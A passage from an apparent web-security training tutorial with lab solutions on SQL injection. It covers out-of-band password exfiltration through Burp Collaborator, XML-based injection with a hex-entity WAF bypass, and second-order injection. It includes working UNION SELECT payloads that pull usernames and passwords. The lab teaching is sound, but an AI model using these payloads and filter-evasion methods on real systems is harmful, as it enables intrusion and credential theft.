Right-click and select “Insert Collaborator payload” to insert a Burp Collaborator subdomain where indicated in the modified
TrackingId
cookie. -
Go to the Collaborator tab, and click “Poll now”. If you don’t see any interactions listed, wait a few seconds and try again, since the server-side query is executed asynchronously.
-
You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The password of the
administrator
user should appear in the subdomain of the interaction, and you can view this within the Collaborator tab. For DNS interactions, the full domain name that was looked up is shown in the Description tab. For HTTP interactions, the full domain name is shown in the Host header in the Request to Collaborator tab. -
In the browser, click “My account” to open the login page. Use the password to log in as the
administrator
user.
SQL injection in different contexts
In the previous labs, you used the query string to inject your malicious SQL payload. However, you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.
These different formats may provide different ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often look for common SQL injection keywords within the request, so you may be able to bypass these filters by encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S
character in SELECT
:
<stockCheck> <productId>123</productId> <storeId>999 SELECT * FROM information_schema.tables</storeId> </stockCheck>
This will be decoded server-side before being passed to the SQL interpreter.
Example
The lab solution
Identify the vulnerability
-
Observe that the stock check feature sends the
productId
andstoreId
to the application in XML format. -
Send the
POST /product/stock
request to Burp Repeater. -
In Burp Repeater, probe the
storeId
to see whether your input is evaluated. For example, try replacing the ID with mathematical expressions that evaluate to other potential IDs, for example:<storeId>1+1</storeId>
-
Observe that your input appears to be evaluated by the application, returning the stock for different stores.
-
Try determining the number of columns returned by the original query by appending a
UNION SELECT
statement to the original store ID:<storeId>1 UNION SELECT NULL</storeId>
-
Observe that your request has been blocked due to being flagged as a potential attack.
Bypass the WAF
-
As you’re injecting into XML, try obfuscating your payload using XML entities. One way to do this is using the Hackvertor extension. Just highlight your input, right-click, then select Extensions > Hackvertor > Encode > dec_entities/hex_entities.
-
Resend the request and notice that you now receive a normal response from the application. This suggests that you have successfully bypassed the WAF.
Craft an exploit
-
Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns
0 units
, implying an error. -
As you can only return one column, you need to concatenate the returned usernames and passwords, for example:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
-
Send this query and observe that you’ve successfully fetched the usernames and passwords from the database, separated by a
~
character. -
Use the administrator’s credentials to log in and solve the lab.
Second-order SQL injection (aka. stored SQLi)
First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.
Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.
Second-order SQL injection often occurs in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.